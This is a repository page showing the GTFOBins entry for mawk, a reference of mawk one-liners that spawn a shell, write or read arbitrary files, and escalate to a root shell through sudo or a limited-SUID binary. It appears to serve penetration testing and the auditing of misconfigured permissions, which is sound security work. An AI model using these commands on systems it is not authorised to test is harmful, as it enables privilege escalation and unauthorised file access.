This website requires JavaScript.
Explore
Help
Register
Sign In
daffainfo
/
GTFOBins.github.io
mirror of
https://github.com/daffainfo/GTFOBins.github.io.git
Watch
1
Star
0
Fork
You've already forked GTFOBins.github.io
0
Code
Issues
Packages
Projects
Releases
Wiki
Activity
2e55528e82
GTFOBins.github.io
/
_gtfobins
/
mawk.md
393 B
Raw
Blame
History
functions
shell
file-write
file-read
sudo
limited-suid
code
mawk 'BEGIN {system("/bin/sh")}'
code
LFILE=file_to_write mawk -v LFILE=$LFILE 'BEGIN { print "DATA" > LFILE }'
code
LFILE=file_to_read mawk '//' "$LFILE"
code
sudo mawk 'BEGIN {system("/bin/sh")}'
code
./mawk 'BEGIN {system("/bin/sh")}'